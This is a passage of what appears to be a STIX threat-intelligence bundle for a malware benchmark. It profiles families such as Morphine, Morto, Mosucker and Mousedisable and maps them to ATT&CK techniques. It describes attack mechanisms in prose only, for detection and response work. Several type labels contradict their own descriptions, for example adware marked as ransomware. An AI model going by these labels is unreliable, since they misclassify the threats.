      "description": "Morphex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14debc61-316f-5616-a3ad-6a4d0c532eeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45d18de9-c113-5bd3-bad5-e74386c197d1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morphex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cfcd131-ac3f-5d61-8c76-fb800c296f8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45d18de9-c113-5bd3-bad5-e74386c197d1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morphex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--15e28ff3-d7a8-5b46-8560-acd054472733",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Morphine",
      "description": "Packer:Win32/Morphine is a highly notorious heuristic detection for a specific type of **Polymorphic Packer** and crypter. Morphine is not malware itself; it is a tool utilized by malware authors to aggressively obfuscate their trojans, ransomware, and worms. Its defining characteristic is 'polymorphism'\u2014every time Morphine packs a payload, it generates a completely unique decryption stub and uses a different encryption key, ensuring that traditional, signature-based antivirus solutions (which rely on static hashes) are completely blind to the threat.<br><br><b>Understanding the Morphine Packer</b><br>To an end-user, the presence of Morphine is invisible; they only experience the effects of the hidden malware payload. For a malware analyst or SOC tier, a Morphine detection is a massive red flag. It indicates that the adversary is sophisticated enough to use dynamic evasion techniques. Because the actual malicious code is encrypted on disk, static analysis is useless until the payload is extracted from memory.<br><br><b>Execution and Polymorphic Unpacking Mechanics</b><br>When an attacker builds their malware, they run the compiled `.exe` through the Morphine crypter. Morphine compresses and encrypts the original code (`T1027.002`). It then attaches a unique, randomly generated unpacking stub (`T1027`). When the victim executes the packed file (`T1204.002`), the polymorphic stub runs first. It utilizes anti-debugging and anti-VM checks (`T1620`) to verify it isn't running in a sandbox. If clear, it allocates memory, decrypts the original malicious payload directly into RAM (`T1055`), and passes execution control to the unencrypted malware. The malicious code never touches the hard drive in its raw state.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload (which is often high-severity malware). The primary IoC is the detection of the Morphine packing heuristic on a newly downloaded executable. Security analysts analyzing the file statically will observe high entropy (randomness indicating encryption), practically zero readable strings, and highly abnormal PE section headers. Dynamic analysis (EDR) is absolutely required to detect the unpacking process and the subsequent malicious behavior occurring in memory. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Morphine",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/morphine"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c18fd18-09cc-5bdd-9dbf-c86a11c31736",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15e28ff3-d7a8-5b46-8560-acd054472733",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morphine exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54b085db-ca8f-533e-a057-d928cc947f2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15e28ff3-d7a8-5b46-8560-acd054472733",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morphine exhibits technique T1620 (Reflective Code Loading (Unpacking the payload directly into memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f83e00b4-f8ae-5fdc-9a05-c5ac9288d389",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15e28ff3-d7a8-5b46-8560-acd054472733",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morphine exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b20d2b29-270e-5b80-87fa-54de0616aaa9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--15e28ff3-d7a8-5b46-8560-acd054472733",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morphine exhibits technique T1055 (Process Injection (Memory execution of the hidden payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1bea6f22-8f45-5ae2-a04e-2c9ec4f0e976",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Morto",
      "description": "Worm:Win32/Morto is a classic, highly aggressive network worm specifically designed to propagate across the internet and internal enterprise networks by attacking Remote Desktop Protocol (RDP) services. Unlike malware that relies on user interaction (phishing) or software vulnerabilities, Morto spreads entirely by brute-forcing weak or default administrator credentials on internet-exposed Windows machines.<br><br><b>Understanding Morto (RDP Worms)</b><br>To an end-user, a Morto infection might cause severe system slowdowns and a massive spike in outbound network traffic as the machine scans for new victims. For a network administrator, Morto is a loud, chaotic event that quickly saturates network bandwidth and triggers thousands of failed login alerts on domain controllers. Its primary purpose was often to install secondary payloads (like DDoS bots or adware) or simply to demonstrate the massive vulnerability of internet-facing RDP.<br><br><b>Execution and RDP Brute-Forcing Mechanics</b><br>Morto does not use software exploits. It constantly scans the local subnet and random internet IP blocks on port 3389 (RDP) (`T1046`). When it finds an active RDP service, it initiates a dictionary attack, attempting to log in using common usernames (like 'Administrator', 'admin') and a hardcoded list of weak passwords (`T1110.001`). Once it successfully authenticates, it uses the WTS (Windows Terminal Services) APIs or standard drive mapping (e.g., `\\C$`) (`T1021.002`) to copy its executable (often named `a.exe` or disguised as a Windows system file) to the remote machine and executes it (`T1570`). Upon execution, it establishes persistence by dropping a `.dll` file into the `System32` directory and registering it as a service or modifying the `Userinit` registry key (`T1543.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is rapid, widespread compromise of Windows servers and workstations, leading to severe network congestion. Host-based IoCs include EDR alerts for thousands of failed RDP logon events (Event ID 4625), followed by a successful logon (Event ID 4624) from an unknown IP, immediately followed by the creation of a new, anomalous Windows Service. Network IoCs are characterized by massive spikes in outbound scanning activity on port 3389. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Morto",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/morto"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0383431-45f0-52bb-b4cb-ee64ca5f6e30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bea6f22-8f45-5ae2-a04e-2c9ec4f0e976",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morto exhibits technique T1110.001 (Brute Force: Password Guessing (RDP Dictionary Attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49dce0e1-bd39-5829-8e8c-2afdd60a16af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bea6f22-8f45-5ae2-a04e-2c9ec4f0e976",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morto exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fee31709-35ff-57ae-8e0f-47779d0bb400",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bea6f22-8f45-5ae2-a04e-2c9ec4f0e976",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morto exhibits technique T1046 (Network Service Discovery (Scanning for port 3389))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99df4ff1-427c-57a6-b831-12a877a5c799",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bea6f22-8f45-5ae2-a04e-2c9ec4f0e976",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Morto exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fde7fa12-cd14-59dd-9cf2-fba41d975ec8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mostofate",
      "description": "<h3>Executive Summary</h3>\nMostofate is an aggressive Potentially Unwanted Program (PUP) and Adware application that operates primarily as a Browser Hijacker. It masquerades as a helpful browser extension, search optimizer, or coupon finder. Its true purpose is to forcefully inject advertisements, alter critical browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMostofate relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route all traffic through affiliate-monetized search engines controlled by the adware developers.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Mostofate frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to a legitimate search engine, the watchdog service instantly reinstalls the adware configurations.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Mostofate is generally not classified as destructive malware (like ransomware), it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Mostofate",
        "PUP.Mostofate",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mostofate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mostofate"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7bdc92a-6537-507a-b118-536b43635568",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fde7fa12-cd14-59dd-9cf2-fba41d975ec8",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mostofate exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21507e37-b589-5e48-8206-0fade21a7e1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fde7fa12-cd14-59dd-9cf2-fba41d975ec8",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mostofate exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--470527da-b784-5af3-a967-4113e237176f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fde7fa12-cd14-59dd-9cf2-fba41d975ec8",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mostofate exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--85c756b0-8cc1-55b0-af93-9794fe2b07ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mosu",
      "description": "Trojan:Win32/Mosu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mosu</b><br>To an end-user, a Mosu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mosu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mosu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mosu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mosu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mosu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mosu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1c188bc-b5c2-55a2-a070-4194d731c001",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85c756b0-8cc1-55b0-af93-9794fe2b07ae",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mosu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dba1bc15-044e-5c39-81d0-dfbfa40f5388",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85c756b0-8cc1-55b0-af93-9794fe2b07ae",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mosu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fa7802d-1c91-593d-9f1b-db7d999daf6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85c756b0-8cc1-55b0-af93-9794fe2b07ae",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mosu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f72a5822-78a7-5c07-b4a8-0cb549025702",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85c756b0-8cc1-55b0-af93-9794fe2b07ae",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mosu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1f76ecf-75ff-53f4-9d14-7fe933ac8361",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85c756b0-8cc1-55b0-af93-9794fe2b07ae",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mosu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1cd2b6d6-c63d-510c-89f8-47acb6b1ff24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mosucker",
      "description": "Backdoor:Win32/Mosucker is a stealthy remote access trojan (RAT) or backdoor designed to provide threat actors with persistent, undetected, and interactive access to a compromised network. It allows attackers to exfiltrate data, monitor user activity, and deploy additional malware payloads on demand.<br><br><b>Understanding Mosucker</b><br>To a victim, a Mosucker infection is completely silent. For a SOC analyst, Mosucker represents a critical breach involving 'hands-on-keyboard' access. Once deployed, the attacker can seamlessly traverse the network, steal high-value credentials, exfiltrate sensitive data, and deploy further destructive payloads, all while appearing as legitimate background system activity.<br><br><b>Execution, Evasion, and Interactive Control</b><br>Mosucker is typically deployed by initial access brokers, dropped via exploit kits, or executed through macro-enabled spear-phishing documents (`T1566.001`). Upon execution, it heavily relies on Process Injection or Process Hollowing (`T1055`), often unpacking its payload directly into the memory space of a legitimate process like `svchost.exe`. It establishes persistence via hidden Registry keys or Services (`T1543.003`). The backdoor provides a massive suite of capabilities: live keylogging, password recovery, remote command execution (`T1059`), and the ability to seamlessly download and execute secondary malware (`T1105`). Mosucker often uses customized, encrypted protocols for its C2 communications to evade network IDS (`T1071.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total endpoint compromise and the high probability of lateral movement across the enterprise. Host-based IoCs require careful EDR monitoring: look for legitimate system processes initiating outbound, encrypted network connections to unknown IP addresses, or anomalous child processes spawning from `explorer.exe`. Memory analysis is almost always required to locate the unencrypted Mosucker payload residing in hollowed memory segments. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mosucker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mosucker"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2238cb73-89a3-5f95-aa2f-9514d6bcebc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cd2b6d6-c63d-510c-89f8-47acb6b1ff24",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mosucker exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03c9794f-57d4-5960-8e5c-034043515d6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cd2b6d6-c63d-510c-89f8-47acb6b1ff24",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mosucker exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1abf308-8576-5c67-b207-b3351b7a5684",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cd2b6d6-c63d-510c-89f8-47acb6b1ff24",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mosucker exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Encrypted C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbb02f63-ef59-55ae-adc4-7979cedaf9f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cd2b6d6-c63d-510c-89f8-47acb6b1ff24",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mosucker exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--96450796-c8a7-5c7e-b5c9-9c2aa6971ed8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mousedisable",
      "description": "Trojan:Win32/Mousedisable is a heuristic detection for a specific, highly disruptive behavioral trait found in various 'Joke' programs, Lockers, and poorly written Ransomware. As the name implies, its primary function upon execution is to actively hook into the Windows API to intercept and block all input from the victim's mouse and keyboard (`T1562.001`). This essentially paralyzes the user, preventing them from interacting with the operating system to stop the malware or launch diagnostic tools.<br><br><b>Understanding Mousedisable (Input Blockers)</b><br>To an end-user, the computer suddenly freezes; the cursor won't move, and `Ctrl+Alt+Delete` does nothing. For a security analyst, a Mousedisable event indicates a blatant and aggressive attempt by malware to impair defenses and prevent manual remediation (`T1562.001`). This tactic is often a delaying mechanism, used to stall the user while a more destructive payload (like data encryption or exfiltration) executes silently in the background.<br><br><b>Execution and Disruption Mechanics</b><br>Mousedisable behavior is typically implemented using the Windows `SetWindowsHookEx` API. The malware installs a low-level keyboard hook (`WH_KEYBOARD_LL`) and mouse hook (`WH_MOUSE_LL`). When these hooks are in place, the malware intercepts all input events before they reach the intended applications or the OS shell. The malware's hook procedure simply discards the input events, causing the system to ignore the user. To prevent the user from simply rebooting to clear the hook, the malware often establishes persistence (`T1547.001`) to ensure it runs immediately upon the next logon.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total, immediate Denial of Service (DoS) for the local user (`T1489`). Host-based IoCs include EDR alerts for 'Suspicious API Hooking' specifically targeting input mechanisms. The primary indicator is the physical manifestation: an unresponsive system that may still be displaying active processes on the screen. Network IoCs are dependent entirely on the secondary payloads the malware might be deploying while the user is locked out. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mousedisable",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mousedisable"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--141de16c-488e-5547-ae8d-0304eb13ad50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96450796-c8a7-5c7e-b5c9-9c2aa6971ed8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mousedisable exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking user input to prevent remediation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--207a200b-2fd2-5fe4-aa86-3f8ada5f5951",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96450796-c8a7-5c7e-b5c9-9c2aa6971ed8",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mousedisable exhibits technique T1489 (Service Stop (Effectively stopping the user's ability to use the OS))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--544f87b4-31d9-54af-9c57-ace6d5a94bdc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96450796-c8a7-5c7e-b5c9-9c2aa6971ed8",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mousedisable exhibits technique T1056.001 (Input Capture: Keylogging (Using the same hooking mechanism, even if just to discard input))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ed5f42e2-7264-5f0c-917b-6806d87bbc75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mozla",
      "description": "<h3>Executive Summary</h3>\nMozla is a highly deceptive Trojan designed to exploit user trust by masquerading as legitimate components of the Mozilla Firefox web browser. By mimicking official processes and file structures, Mozla attempts to bypass behavioral detection and user scrutiny, enabling it to establish a persistent backdoor for remote attackers.\n\n<h3>Infection Vector and Stealth Mechanisms</h3>\nMozla is predominantly distributed through deceptive drive-by downloads or as part of a bundled software package downloaded from untrustworthy software repositories. It may also be delivered via phishing emails containing links to fake \"browser update\" pages.\n\nUpon execution, Mozla employs sophisticated camouflage techniques:\n<ul>\n<li><strong>Process Spoofing:</strong> It injects its malicious payload into memory and names the executing process `firefox.exe` or `mozla.exe`. To the untrained eye checking the Windows Task Manager, the process appears to be a legitimate instance of the Firefox browser running in the background.</li>\n<li><strong>Directory Mimicry:</strong> Mozla frequently installs its binary files within the `%AppData%\\Mozilla` or 